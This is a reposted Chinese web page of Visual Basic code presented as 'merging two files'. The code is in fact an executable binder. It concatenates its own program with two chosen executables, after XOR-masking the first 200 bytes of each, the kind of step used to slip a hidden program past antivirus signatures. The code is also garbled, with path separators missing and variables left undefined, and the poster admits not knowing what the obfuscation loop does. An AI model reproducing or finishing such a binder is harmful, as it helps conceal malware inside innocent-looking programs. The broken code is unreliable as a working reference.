vb读出二进制文件，合并两个文件
发布时间：2020-12-17 08:04:01 所属栏目：百科 来源：网络整理
导读：========================================= Dim FileMe() As Byte,File1() As Byte,File2() As Byte Dim Ii As Integer,Ss As String '读入程序自身 Open App.Path "" App.EXEName ".exe" For Binary As #11 ReDim FileMe(FileLen(App.Path "" App.EXENam
|
=========================================
Dim FileMe() As Byte,File1() As Byte,File2() As Byte
Dim Ii As Integer,Ss As String
'读入程序自身
Open App.Path & "" & App.EXEName & ".exe" For Binary As #11
ReDim FileMe(FileLen(App.Path & "" & App.EXEName & ".exe") - 1)
Get #11,FileMe
Close #11
'读入第一个可执行文件
Open Text1(1).Text For Binary As #1
ReDim File1(FileLen(Text1(1).Text) - 1)
Get #1,File1
'==============================================
'下面的这个循环我不知道干嘛的，望解~
For Ii = 1 To 200
Ss = File1(Ii - 1) Xor 99
File1(Ii - 1) = Ss
Next
'==============================================
Close #1
'读入第二个可执行文件
Open Text1(2).Text For Binary As #2
ReDim File2(FileLen(Text1(2).Text) - 1)
Get #2,File2
'=====================同上=====================
For Ii = 1 To 200
Ss = File2(Ii - 1) Xor 99
File2(Ii - 1) = Ss
Next
'==============================================
Close #2
'将程序自身+第一个exe+第二个exe合并到新文件
Open Text2.Text For Binary As #3
Put #3,FileMe
Put #3,File1
Put #3,File2
Put #3,PSW & StrMC
Put #3,App.EXEName & "|||" & FileLen(App.Path & "" & App.EXEName & ".exe") & "////" & _
Mid(Text1(1).Text,InStrRev(Text1(1).Text,"") + 1) & "|||" & FileLen(Text1(1).Text) & "////" & _
Mid(Text1(2).Text,InStrRev(Text1(2).Text,"") + 1) & "|||" & FileLen(Text1(2).Text) & "////"
Close #3
MsgBox "捆绑成功: " & Text2.Text,vbInformation
=====================================================
此篇本人也忘了从哪里贴的，一只也没有看，先扔这边了。
（编辑：李大同） 【声明】本站内容均来自网络，其相关言论仅代表作者个人观点，不代表本站立场。若无意侵犯到您的权利，请及时与联系站长删除相关内容! |